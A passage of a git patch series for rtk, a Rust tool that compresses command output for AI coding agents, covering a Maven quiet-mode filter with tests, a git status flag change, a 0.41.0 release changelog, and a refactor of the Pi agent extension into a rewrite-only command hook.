FAILURE!"); + continue; + } + + // Per-test failure subline: `[ERROR] FQN.method -- Time elapsed: … <<< FAILURE!`. + if line.starts_with("[ERROR] ") && line.contains("<<< FAILURE!") { + out.push_str(line); + out.push('\n'); + failure_trail = true; + continue; + } + + // Failure-trail body: exception class, user-code frames; drop framework frames. + if failure_trail { + if line.trim().is_empty() { + out.push('\n'); + failure_trail = false; + continue; + } + let t = line.trim_start(); + if t.starts_with("at ") && is_framework_frame(t) { + continue; + } + out.push_str(line); + out.push('\n'); + continue; + } + + // Failure summary keepers. + if line.starts_with("[ERROR] Tests run:") + || line.starts_with("[ERROR] Failures:") + || line.starts_with("[ERROR] Errors:") + || line.starts_with("[ERROR] ") + || line.starts_with("[ERROR] Failed to execute goal") + { + out.push_str(line); + out.push('\n'); + continue; + } + + // Drop post-failure help boilerplate. + if QUIET_BOILER_PREFIXES.iter().any(|p| line.starts_with(p)) { + continue; + } + + // Drop empty `[ERROR]` / `[ERROR] ` divider lines Maven emits between blocks. + if line.trim_end() == "[ERROR]" { + continue; + } + + // Safety net: keep anything else (unexpected output under `-q` is rare; + // do not silently drop signal we haven't classified). + out.push_str(line); + out.push('\n'); + } + + out +} + // ── Wrapper detection ─────────────────────────────────────────────────────── fn mvn_binary() -> &'static str { @@ -463,10 +575,29 @@ pub fn run(args: &[String], verbose: u8) -> Result { return runner::run_passthrough(mvn_binary(), &osargs, verbose); } - let phase = detect_phase(args); let tool = mvn_binary(); let args_display = args.join(" "); + // Quiet mode: standard footer guard can't fire (no `BUILD SUCCESS` line + // under `-q`). Route to `filter_quiet` for any non-passthrough phase so + // failure output gets framework frames + help boilerplate stripped. + if is_quiet(args) { + let phase = detect_phase(args); + if matches!(phase, MvnPhase::Passthrough) { + let osargs: Vec = args.iter().map(OsString::from).collect(); + return runner::run_passthrough(tool, &osargs, verbose); + } + return runner::run_filtered( + new_mvn_command(args), + tool, + &args_display, + filter_quiet, + RunOptions::with_tee("mvn_quiet"), + ); + } + + let phase = detect_phase(args); + match phase { MvnPhase::Test => runner::run_filtered( new_mvn_command(args), @@ -925,4 +1056,130 @@ mod tests { count_tokens(&o) ); } + + // ── Quiet mode (`mvn -q`) ──────────────────────────────────────────────── + + #[test] + fn quiet_detects_short_flag() { + assert!(is_quiet(&s(["-q", "test"]))); + assert!(is_quiet(&s(["test", "-q"]))); + assert!(is_quiet(&s(["-B", "-q", "-DskipFoo", "install"]))); + } + + #[test] + fn quiet_detects_long_flag() { + assert!(is_quiet(&s(["--quiet", "test"]))); + } + + #[test] + fn quiet_does_not_match_unrelated_flags() { + assert!(!is_quiet(&s(["-Q", "test"]))); + assert!(!is_quiet(&s(["-quiet", "test"]))); + assert!(!is_quiet(&s(["-B", "test"]))); + } + + /// Green `mvn -q test` emits zero bytes; filter must return empty. + #[test] + fn quiet_green_run_is_empty() { + assert_eq!(filter_quiet(""), ""); + assert_eq!(filter_quiet(" \n\n \n"), ""); + } + + /// Failure under `-q`: keep close-line, exception, user frame, summary, + /// goal terminator. Drop framework frames + help boilerplate block. + #[test] + fn quiet_fail_strips_framework_and_boilerplate() { + let i = include_str!("../../../tests/fixtures/mvn_quiet_fail_raw.txt"); + let o = filter_quiet(i); + + // Kept: failure signal. + assert!( + o.contains("Tests run: 1, Failures: 1, Errors: 0, Skipped: 0"), + "close-line preserved; got:\n{}", + o + ); + assert!( + o.contains("AssertionFailedError"), + "exception class preserved; got:\n{}", + o + ); + assert!( + o.contains("at x.FailTest.this_will_fail"), + "user-code frame preserved; got:\n{}", + o + ); + assert!( + o.contains("[ERROR] Failures:"), + "failure summary header preserved; got:\n{}", + o + ); + assert!( + o.contains("[ERROR] Tests run: 6, Failures: 1, Errors: 0, Skipped: 0"), + "aggregate preserved; got:\n{}", + o + ); + assert!( + o.contains("[ERROR] Failed to execute goal"), + "goal terminator preserved; got:\n{}", + o + ); + + // Dropped: framework frames. + assert!( + !o.contains("at org.junit."), + "junit frame stripped; got:\n{}", + o + ); + assert!( + !o.contains("at java.base/"), + "java.base frame stripped; got:\n{}", + o + ); + + // Dropped: help boilerplate. + assert!( + !o.contains("To see the full stack trace"), + "help boilerplate stripped; got:\n{}", + o + ); + assert!( + !o.contains("[Help 1] http"), + "help link stripped; got:\n{}", + o + ); + assert!( + !o.contains("See /tmp/") && !o.contains("See dump files"), + "log-pointer lines stripped; got:\n{}", + o + ); + } + + /// Savings target on the real `mvn -q test` fail fixture. + #[test] + fn savings_mvn_quiet_fail() { + let i = include_str!("../../../tests/fixtures/mvn_quiet_fail_raw.txt"); + let o = filter_quiet(i); + let savings = 100.0 - (count_tokens(&o) as f64 / count_tokens(i) as f64 * 100.0); + assert!( + savings >= 50.0, + "mvn -q fail ≥50% savings, got {:.1}% (raw={} tok, filtered={} tok)", + savings, + count_tokens(i), + count_tokens(&o) + ); + } + + /// Safety net: if the `[ERROR]` line isn't on the known keep/drop lists, + /// the filter must NOT silently drop it. Better to leak a line than to + /// hide signal. + #[test] + fn quiet_unknown_error_line_kept_as_safety_net() { + let i = "[ERROR] Some unexpected error output we don't classify\n"; + let o = filter_quiet(i); + assert!( + o.contains("Some unexpected error output"), + "unclassified ERROR line preserved; got:\n{}", + o + ); + } } diff --git a/tests/fixtures/mvn_quiet_fail_raw.txt b/tests/fixtures/mvn_quiet_fail_raw.txt new file mode 100644 index 0000000000..ef5ecfbaf7 --- /dev/null +++ b/tests/fixtures/mvn_quiet_fail_raw.txt @@ -0,0 +1,27 @@ +[ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.069 s <<< FAILURE! -- in x.FailTest +[ERROR] x.FailTest.this_will_fail -- Time elapsed: 0.030 s <<< FAILURE! +org.opentest4j.AssertionFailedError: deliberate failure for rtk -q filter testing ==> expected: <1> but was: <2> + at org.junit.jupiter.api.AssertionFailureBuilder.build(AssertionFailureBuilder.java:151) + at org.junit.jupiter.api.AssertionFailureBuilder.buildAndThrow(AssertionFailureBuilder.java:132) + at org.junit.jupiter.api.AssertEquals.failNotEqual(AssertEquals.java:197) + at org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:150) + at org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:563) + at x.FailTest.this_will_fail(FailTest.java:9) + at java.base/java.lang.reflect.Method.invoke(Method.java:580) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + +[ERROR] Failures: +[ERROR] FailTest.this_will_fail:9 deliberate failure for rtk -q filter testing ==> expected: <1> but was: <2> +[ERROR] Tests run: 6, Failures: 1, Errors: 0, Skipped: 0 +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:3.5.5:test (default-test) on project mvnq: There are test failures. +[ERROR] +[ERROR] See /tmp/mvnq/target/surefire-reports for the individual test results. +[ERROR] See dump files (if any exist) [date].dump, [date]-jvmRun[N].dump and [date].dumpstream. +[ERROR] -> [Help 1] +[ERROR] +[ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. +[ERROR] Re-run Maven using the -X switch to enable full debug logging. +[ERROR] +[ERROR] For more information about the errors and possible solutions, please read the following articles: +[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException From 7753e487b3595886d39492be9b43ecad26c826ca Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 22 May 2026 10:13:00 +0200 Subject: [PATCH 123/257] fix(git): drop -uall from compact status so output never exceeds raw MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The compact `git status` path ran `git status --porcelain -b -uall`. The `-uall` flag expands fully-untracked directories into every file, while raw `git status` collapses them (e.g. `node_modules/`). This made rtk output larger than raw — measured ~29x on a 200-file untracked dir (5500B vs 191B) — violating RTK's compress-or-match-raw invariant and inflating tokens. Remove `-uall` so untracked directories collapse exactly like raw. This keeps #991's actual fix intact: all modified/staged/renamed/conflict paths are still shown with no grouped summaries or `... +N more` overflow markers (`-uall` never affected those lines). Untracked files in partially-tracked dirs and any paths git itself expands are still preserved by the formatter. Measured (rtk vs raw git status): - node_modules/ (200 files): 5500B (-2780%) -> 25B (+87% savings) - normal (8 mod + 2 untracked): +71% -> +76% - 17 modified (#991 case): unchanged at +58%, all 17 shown, 0 overflow markers Co-Authored-By: Claude Opus 4.7 --- src/cmds/git/git.rs | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index a77b0ba767..b67120e3e7 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -70,7 +70,7 @@ fn build_status_command(args: &[String], global_args: &[String]) -> Command { let mut cmd = git_cmd(global_args); cmd.arg("status"); if uses_compact_status_path(args) { - cmd.args(["--porcelain", "-b", "-uall"]); + cmd.args(["--porcelain", "-b"]); } else { cmd.args(args); } @@ -1899,10 +1899,10 @@ mod tests { } #[test] - fn test_build_status_command_default_includes_uall() { + fn test_build_status_command_default_compact() { let cmd = build_status_command(&[], &[]); let args: Vec<_> = cmd.get_args().collect(); - assert_eq!(args, vec!["status", "--porcelain", "-b", "-uall"]); + assert_eq!(args, vec!["status", "--porcelain", "-b"]); } #[test] @@ -1923,7 +1923,7 @@ mod tests { let args = vec!["--short".to_string(), "--branch".to_string()]; let cmd = build_status_command(&args, &[]); let cmd_args: Vec<_> = cmd.get_args().collect(); - assert_eq!(cmd_args, vec!["status", "--porcelain", "-b", "-uall"]); + assert_eq!(cmd_args, vec!["status", "--porcelain", "-b"]); } #[test] From f431fb9521b720aa58bc856b432df73cee35d735 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Fri, 22 May 2026 15:30:14 +0200 Subject: [PATCH 124/257] Update git.rs --- src/cmds/git/git.rs | 1 - 1 file changed, 1 deletion(-) diff --git a/src/cmds/git/git.rs b/src/cmds/git/git.rs index 95bba3729a..5140244e6f 100644 --- a/src/cmds/git/git.rs +++ b/src/cmds/git/git.rs @@ -524,7 +524,6 @@ fn run_log( .iter() .any(|arg| arg == "--merges" || arg == "--min-parents=2" || arg == "--no-merges"); // Don't add --no-merges if user explicitly requested merges or an exact count (-n N / --max-count) - // When user passes -1 they want 1 commit regardless of whether it's a merge if !wants_merges && !has_limit_flag { cmd.arg("--no-merges"); } From 6e6efd4dd1ec13c10bbf2f7fc02eeee005414f13 Mon Sep 17 00:00:00 2001 From: Adrien Eppling Date: Fri, 22 May 2026 17:55:56 +0200 Subject: [PATCH 125/257] docs(git): sync status README with --porcelain -b (drop -uall) --- src/cmds/git/README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/cmds/git/README.md b/src/cmds/git/README.md index d569978872..93807be3b8 100644 --- a/src/cmds/git/README.md +++ b/src/cmds/git/README.md @@ -5,7 +5,7 @@ ## Specifics - **git.rs** uses `trailing_var_arg = true` + `allow_hyphen_values = true` so native git flags (`--oneline`, `--cached`, etc.) pass through correctly -- Default `git status` uses `--porcelain -b -uall` so nested untracked files stay visible; branch/short-only flags reuse the compact path, other explicit args still pass through unchanged +- Default `git status` uses `--porcelain -b` so the compact output never exceeds raw `git status` (an untracked directory collapses to a single line, matching git's default); branch/short-only flags reuse the compact path, other explicit args still pass through unchanged - Global git options (`-C`, `--git-dir`, `--work-tree`, `--no-pager`) are prepended before the subcommand - Exit code propagation is critical for CI/CD pipelines - **glab_cmd.rs** declares `-R`/`--repo` and `-g`/`--group` at the clap level; they are **appended** to the glab args (not prepended) so subcommand dispatch stays intact From 02f76972b46515b80c62696a52346a385ec400b2 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Fri, 22 May 2026 15:57:54 +0000 Subject: [PATCH 126/257] chore(master): release 0.41.0 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 33 +++++++++++++++++++++++++++++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 36 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 6507815346..dbe1b2bfb9 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.40.0" + ".": "0.41.0" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 2e2345b8fe..2d7dc81c70 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,39 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.41.0](https://github.com/rtk-ai/rtk/compare/v0.40.0...v0.41.0) (2026-05-22) + + +### Features + +* **hints:** add tail hints for tee & hints + address reviews ([46fe7c4](https://github.com/rtk-ai/rtk/commit/46fe7c47293fcbef28159ddc9fcd118a344cc42b)) + + +### Bug Fixes + +* '...' ascii to unicode, remove some comments ([3571d52](https://github.com/rtk-ai/rtk/commit/3571d5293dc463c2a0aadfa9a5587b18478ca99a)) +* **docker:** forward --tail flag in compose logs ([5f1d8b0](https://github.com/rtk-ai/rtk/commit/5f1d8b0e14f0a0f82cd139443a80e680249c3137)) +* **docker:** forward --tail flag in compose logs ([b70b0fe](https://github.com/rtk-ai/rtk/commit/b70b0feec680356db81561d3920a3a9373dd43d8)) +* **filters:** add test for aggressive filter batch fix ([f6b28c2](https://github.com/rtk-ai/rtk/commit/f6b28c292b517d55733ad1d3868f320b017901a5)) +* **filters:** address adversarial test-suite findings on aggressive filtering ([62fc0e0](https://github.com/rtk-ai/rtk/commit/62fc0e0d2159e82aaa8c36a18d69ca569a1ce0b5)) +* **filters:** aggresivity batch fix ([90c285c](https://github.com/rtk-ai/rtk/commit/90c285c38057a552f3e2ea8459fe82d715a9dd17)) +* **filters:** split docker ps/-a paths, cap ruff violations at 50 ([f21b864](https://github.com/rtk-ai/rtk/commit/f21b8642dea5ac37ade5308bcf443315d63665e8)) +* **git:** drop -uall from compact status so output never exceeds raw ([06476d1](https://github.com/rtk-ai/rtk/commit/06476d17cbd49a8a6d06beae9b4a9f0cb9f96f00)) +* **git:** drop -uall from compact status so output never exceeds raw ([7753e48](https://github.com/rtk-ai/rtk/commit/7753e487b3595886d39492be9b43ecad26c826ca)) +* **git:** preserve full status paths and untracked files ([3ba1634](https://github.com/rtk-ai/rtk/commit/3ba1634555c0b9818560c4f512af916620946181)) +* **git:** stream push output to avoid spurious 30s timeout ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([d6c5647](https://github.com/rtk-ai/rtk/commit/d6c56475e818b52b89906baf3a6631aaa506a4c8)) +* **git:** stream push output via FilterMode::Streaming ([#963](https://github.com/rtk-ai/rtk/issues/963)) ([be51783](https://github.com/rtk-ai/rtk/commit/be5178377fd7c155f70fda94dd134aa5a7b9361d)) +* **hooks/init:** preserve user content in copilot-instructions.md ([a04aa7e](https://github.com/rtk-ai/rtk/commit/a04aa7e848a28bf5115bfb1d6b706fbff21ea112)) +* **hooks/init:** preserve user content in copilot-instructions.md ([d108165](https://github.com/rtk-ai/rtk/commit/d10816516b4c199b06af18278ab53c76d26c2d87)) +* **install:** reject archive with path traversal before extraction ([#1250](https://github.com/rtk-ai/rtk/issues/1250)) ([e827184](https://github.com/rtk-ai/rtk/commit/e8271848d7d6b0d34c2ba5c2c3783ddc48247546)) +* **kubectl:** compact get pods and services aliases ([2dd0ec9](https://github.com/rtk-ai/rtk/commit/2dd0ec91ab11feea13f5c40755f337208dcb3f7e)) +* **kubectl:** compact get pods and services aliases ([b8172e5](https://github.com/rtk-ai/rtk/commit/b8172e5b1de2fd3a27d992ffba484f01b47d84d4)) +* re-add env python as noisy dir ([4eefe2f](https://github.com/rtk-ai/rtk/commit/4eefe2f225ea512a2f1bf800dd20c09994721108)) +* **rust:** multi-line blocks used with tail hint ([4960630](https://github.com/rtk-ai/rtk/commit/49606303d6738525c250149230752fb6133383d1)) +* **tee:** safe truncation caps and compose-ps tee content fix ([548e4dd](https://github.com/rtk-ai/rtk/commit/548e4dd995d5de6e52d7c8e7bb0a0f81fa2c0328)) +* **tee:** safe truncation caps and tee/hint coverage ([15a0d2e](https://github.com/rtk-ai/rtk/commit/15a0d2e7d6e3f33442675f502ed8bc868710dfd6)) +* **truncate:** global caps reduce (avoid underflow and 0 results) ([d5a1731](https://github.com/rtk-ai/rtk/commit/d5a17315c52487be2d043e0058a4f7d91ec3d2bc)) + ## [0.40.0](https://github.com/rtk-ai/rtk/compare/v0.39.0...v0.40.0) (2026-05-13) diff --git a/Cargo.lock b/Cargo.lock index 8773a0899e..5ddb812959 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.40.0" +version = "0.41.0" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 8fc8a93054..376df83aa5 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.40.0" +version = "0.41.0" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 9bd6e6f3929cf320193e34a2654603afa1e9fa91 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:36:07 +0200 Subject: [PATCH 127/257] feat: address pr suggestions --- hooks/pi/README.md | 23 ++++--- hooks/pi/rtk.ts | 135 +++++++++++++---------------------------- src/hooks/constants.rs | 1 + src/hooks/init.rs | 81 ++++++++++++++----------- 4 files changed, 103 insertions(+), 137 deletions(-) diff --git a/hooks/pi/README.md b/hooks/pi/README.md index 1674909360..1f0c8e00a6 100644 --- a/hooks/pi/README.md +++ b/hooks/pi/README.md @@ -2,12 +2,22 @@ > Part of [`hooks/`](../README.md) — see also [`src/hooks/`](../../src/hooks/README.md) for installation code +## Design Intent + +RTK's Pi extension is a **rewrite-only token optimizer**. It mutates bash commands to their +`rtk`-prefixed equivalents, saving 60–90% context tokens. + +**Permission gating is intentionally out of scope.** RTK does not block, confirm, or audit +commands — that concern belongs to a dedicated permission extension (e.g. one that gates +`rm -rf`, `sudo`, etc.). This separation keeps RTK's hook fast, predictable, and composable +with other Pi extensions. + ## Specifics - TypeScript extension using Pi's `ExtensionAPI` (not a shell hook, no `zx` dependency) - Subscribes to `tool_call` event, narrows to `bash` tool via `isToolCallEventType` -- Calls `rtk rewrite` as a subprocess; mutates `event.input.command` in-place if rewrite differs -- Returns `{ block: true, reason }` on deny (exit code 2); all other error paths return `undefined` +- Calls `rtk rewrite` via `pi.exec`; mutates `event.input.command` in-place if rewrite differs +- All error paths return `undefined` (pass through); RTK never blocks execution - Version guard at load time: checks `rtk >= 0.23.0`; warns and registers no-op if too old or missing - Installed to `.pi/extensions/rtk.ts` by `rtk init --agent pi` (project-local) or `~/.pi/agent/extensions/rtk.ts` by `rtk init --agent pi --global` @@ -21,10 +31,6 @@ rtk init --uninstall --agent pi # Remove global install rtk init --uninstall --agent pi --global # → removes ~/.pi/agent/extensions/rtk.ts - -# Pi-only target form -rtk init --uninstall --agent pi -rtk init --uninstall --agent pi --global ``` Uninstall is idempotent — re-running when nothing is installed is a no-op. @@ -50,6 +56,5 @@ RTK_DISABLED=1 pi -e ./hooks/pi/rtk.ts ## Design Notes - All filtering logic lives in `rtk rewrite` (the Rust registry), not in this file -- Exit code 3 (ask) is treated as allow — Pi has no per-tool confirmation UI -- No `zx` library required; uses `node:child_process` `spawn` directly -- See [`docs/specs/pi-hook-integration.md`](../../docs/specs/pi-hook-integration.md) for the full design spec +- Exit codes 0 and 3 both mean "rewrite and allow"; they are handled identically +- Uses `pi.exec` for subprocess management — consistent with Pi's extension API diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index d0debffe54..69f59c6400 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -1,4 +1,4 @@ -// rtk-hook-version: 1 +// rtk-hook-version: 2 // RTK Pi extension — rewrites bash commands to use rtk for token savings. // Requires: rtk >= 0.23.0 in PATH. // @@ -7,52 +7,16 @@ // To add or change rewrite rules, edit the Rust registry — not this file. // // Exit code contract for `rtk rewrite`: -// 0 + stdout Rewrite found → mutate command, allow +// 0 + stdout Rewrite found → mutate command // 1 No RTK equivalent → pass through unchanged -// 2 Deny rule matched → block execution -// 3 + stdout Ask rule matched → mutate command, allow (Pi has no confirm UI) +// 3 + stdout Rewrite (advisory) → mutate command -import { spawn } from "node:child_process" import type { ExtensionAPI } from "@earendil-works/pi-coding-agent" import { isToolCallEventType } from "@earendil-works/pi-coding-agent" -// Run a command, return { stdout, exitCode } or null on spawn error / timeout. -function exec(cmd: string, args: string[], timeoutMs = 2000): Promise<{ stdout: string; exitCode: number } | null> { - return new Promise((resolve) => { - let stdout = "" - let settled = false - - const child = spawn(cmd, args, { env: process.env }) - - const timer = setTimeout(() => { - if (!settled) { - settled = true - child.kill() - resolve(null) - } - }, timeoutMs) - - child.stdout.on("data", (chunk: Buffer) => { - stdout += chunk.toString() - }) - - child.on("close", (code: number | null) => { - if (!settled) { - settled = true - clearTimeout(timer) - resolve({ stdout, exitCode: code ?? 1 }) - } - }) - - child.on("error", () => { - if (!settled) { - settled = true - clearTimeout(timer) - resolve(null) - } - }) - }) -} +const REWRITE_TIMEOUT_MS = 2_000 +const MAX_REWRITE_OUTPUT_BYTES = 1024 * 1024 +const MIN_SUPPORTED_RTK_MINOR = 23 // Parse "X.Y.Z" semver, return [major, minor, patch] or null. function parseSemver(raw: string): [number, number, number] | null { @@ -61,72 +25,59 @@ function parseSemver(raw: string): [number, number, number] | null { return [parseInt(m[1], 10), parseInt(m[2], 10), parseInt(m[3], 10)] } +// Calls `rtk rewrite`; returns the rewritten command or null (pass through). +async function rewriteCommand( + pi: ExtensionAPI, + cmd: string, + signal?: AbortSignal +): Promise { + const result = await pi.exec("rtk", ["rewrite", cmd], { + timeout: REWRITE_TIMEOUT_MS, + signal, + maxBuffer: MAX_REWRITE_OUTPUT_BYTES, + }) + if (result.killed) return null + if (result.code !== 0 && result.code !== 3) return null + return result.stdout.trim() || null +} + export default async function (pi: ExtensionAPI) { - // Load-time check: probe rtk by running --version. This confirms the binary - // is in PATH and gives us the version for the semver guard in one spawn. - const ver = await exec("rtk", ["--version"]) - if (!ver || ver.exitCode !== 0) { + // Probe rtk version at load time; disables extension if missing or too old. + const ver = await pi.exec("rtk", ["--version"], { timeout: REWRITE_TIMEOUT_MS }) + if (ver.code !== 0) { console.warn("[rtk] rtk binary not found in PATH — extension disabled") return } - // Load-time version guard: rtk rewrite was introduced in 0.23.0. Without - // this check the extension still degrades gracefully — exec() returns null - // on any subprocess failure, which falls through to pass-through behaviour. - // The guard exists purely to surface a clear, actionable warning - // ("your rtk is too old, upgrade") rather than leaving the user wondering - // why rewrites silently stopped working after a version rollback. - // stdout format: "rtk X.Y.Z" + // Warn and bail if rtk predates 0.23.0 (when `rtk rewrite` was introduced). const parsed = parseSemver(ver.stdout.replace(/^rtk\s+/, "")) if (parsed) { const [major, minor] = parsed - if (major === 0 && minor < 23) { + if (major === 0 && minor < MIN_SUPPORTED_RTK_MINOR) { console.warn(`[rtk] rtk ${ver.stdout.trim()} is too old (need >= 0.23.0) — extension disabled`) return } } - pi.on("tool_call", async (event) => { - // Only intercept bash tool calls. - if (!isToolCallEventType("bash", event)) return - - const cmd = event.input.command - if (!cmd) return - - if (cmd.startsWith("rtk ")) return - if (process.env.RTK_DISABLED === "1") return - - // Delegate all rewrite + permission logic to the RTK. - const result = await exec("rtk", ["rewrite", cmd]) - if (!result) return // spawn error or timeout — pass through + pi.on("tool_call", async (event, ctx) => { + try { + if (!isToolCallEventType("bash", event)) return - const rewritten = result.stdout.trim() + const cmd = event.input.command + if (typeof cmd !== "string" || cmd.trim() === "") return - switch (result.exitCode) { - case 0: - // Rewrite found — mutate the command in-place. - if (rewritten && rewritten !== cmd) { - event.input.command = rewritten - } - return + if (cmd.startsWith("rtk ")) return + if (process.env.RTK_DISABLED === "1") return - case 1: - // No RTK equivalent — pass through unchanged. - return - - case 2: - // Deny rule matched — block execution. - return { block: true, reason: `RTK: '${cmd}' is blocked — see rtk gain for details` } - - case 3: - // Ask rule matched — rewrite and allow (Pi has no per-tool confirm UI). - if (rewritten && rewritten !== cmd) { - event.input.command = rewritten - } - return - - default: - return + // Delegate to RTK. + const rewritten = await rewriteCommand(pi, cmd, ctx.signal) + if (rewritten && rewritten !== cmd) { + event.input.command = rewritten + } + } catch (err) { + // Fail open: never block execution on an unexpected error. + console.warn("[rtk] unexpected error in tool_call handler; passing through command", err) + return } }) } diff --git a/src/hooks/constants.rs b/src/hooks/constants.rs index bd1937cf66..506e88cdf8 100644 --- a/src/hooks/constants.rs +++ b/src/hooks/constants.rs @@ -23,6 +23,7 @@ pub const CODEX_DIR: &str = ".codex"; pub const GEMINI_DIR: &str = ".gemini"; pub const PI_DIR: &str = ".pi/agent"; +pub const PI_LOCAL_DIR: &str = ".pi"; pub const PI_EXTENSIONS_SUBDIR: &str = "extensions"; pub const PI_PLUGIN_FILE: &str = "rtk.ts"; pub const PI_CODING_AGENT_DIR_ENV: &str = "PI_CODING_AGENT_DIR"; diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 3c4c84e58b..189f5de557 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -15,8 +15,8 @@ use super::constants::{ BEFORE_TOOL_KEY, CLAUDE_DIR, CLAUDE_HOOK_COMMAND, CODEX_DIR, CURSOR_HOOK_COMMAND, GEMINI_HOOK_FILE, HERMES_DIR, HERMES_PLUGINS_SUBDIR, HERMES_PLUGIN_INIT_FILE, HERMES_PLUGIN_MANIFEST_FILE, HERMES_PLUGIN_NAME, HOOKS_JSON, HOOKS_SUBDIR, - PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_PLUGIN_FILE, PRE_TOOL_USE_KEY, - REWRITE_HOOK_FILE, SETTINGS_JSON, + PI_CODING_AGENT_DIR_ENV, PI_DIR, PI_EXTENSIONS_SUBDIR, PI_LOCAL_DIR, PI_PLUGIN_FILE, + PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, }; use super::integrity; @@ -650,38 +650,7 @@ pub fn uninstall( } if pi { - let plugin_path = pi_plugin_path_for_scope(global)?; - let mut removed: Vec = Vec::new(); - - if plugin_path.exists() { - if dry_run { - println!( - "[dry-run] would remove Pi extension: {}", - plugin_path.display() - ); - } else { - // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. - fs::remove_file(&plugin_path).with_context(|| { - format!("Failed to remove Pi extension: {}", plugin_path.display()) - })?; - if verbose > 0 { - eprintln!("Removed Pi extension: {}", plugin_path.display()); - } - removed.push(format!("Pi extension: {}", plugin_path.display())); - } - } - - if dry_run { - print_dry_run_footer(); - } else if !removed.is_empty() { - println!("RTK uninstalled (Pi):"); - for item in &removed { - println!(" - {}", item); - } - println!("\nRestart pi to apply changes."); - } else { - println!("RTK Pi extension was not installed (nothing to remove)"); - } + uninstall_pi(global, ctx)?; return Ok(()); } @@ -2816,7 +2785,7 @@ fn pi_plugin_path_for_scope(global: bool) -> Result { if global { Ok(pi_plugin_path(&resolve_pi_dir()?)) } else { - Ok(PathBuf::from(".pi") + Ok(PathBuf::from(PI_LOCAL_DIR) .join(PI_EXTENSIONS_SUBDIR) .join(PI_PLUGIN_FILE)) } @@ -2842,6 +2811,46 @@ fn ensure_pi_extensions_dir(parent: &Path, name: &str, ctx: InitContext) -> Resu Ok(()) } +/// Uninstall Pi extension for the given scope. +/// Mirrors `uninstall_codex` / `uninstall_hermes`: extracted from the dispatcher +/// so it can be tested and reasoned about independently. +fn uninstall_pi(global: bool, ctx: InitContext) -> Result<()> { + let InitContext { verbose, dry_run } = ctx; + let plugin_path = pi_plugin_path_for_scope(global)?; + let mut removed: Vec = Vec::new(); + + if plugin_path.exists() { + if dry_run { + println!( + "[dry-run] would remove Pi extension: {}", + plugin_path.display() + ); + } else { + // nosemgrep: filesystem-deletion -- Pi uninstall removes only the RTK-managed extension file. + fs::remove_file(&plugin_path).with_context(|| { + format!("Failed to remove Pi extension: {}", plugin_path.display()) + })?; + if verbose > 0 { + eprintln!("Removed Pi extension: {}", plugin_path.display()); + } + removed.push(format!("Pi extension: {}", plugin_path.display())); + } + } + + if dry_run { + print_dry_run_footer(); + } else if !removed.is_empty() { + println!("RTK uninstalled (Pi):"); + for item in &removed { + println!(" - {}", item); + } + println!("\nRestart pi to apply changes."); + } else { + println!("RTK Pi extension was not installed (nothing to remove)"); + } + Ok(()) +} + /// Install the Pi extension (hook-only; no AGENTS.md injection). /// /// global=true → `$PI_CODING_AGENT_DIR/extensions/rtk.ts` @@ -5988,7 +5997,7 @@ mod tests { let path = pi_plugin_path_for_scope(false).unwrap(); assert_eq!( path, - PathBuf::from(".pi") + PathBuf::from(PI_LOCAL_DIR) .join(PI_EXTENSIONS_SUBDIR) .join(PI_PLUGIN_FILE) ); From 8bc8b463840183bc17817dbab0546b95c659bcc0 Mon Sep 17 00:00:00 2001 From: gitbluf Date: Sat, 23 May 2026 01:57:37 +0200 Subject: [PATCH 128/257] chore: sync with pi api --- hooks/pi/rtk.ts | 2 -- 1 file changed, 2 deletions(-) diff --git a/hooks/pi/rtk.ts b/hooks/pi/rtk.ts index 69f59c6400..4c30f203b7 100644 --- a/hooks/pi/rtk.ts +++ b/hooks/pi/rtk.ts @@ -15,7 +15,6 @@ import type { ExtensionAPI } from "@earendil-works/pi-coding-agent" import { isToolCallEventType } from "@earendil-works/pi-coding-agent" const 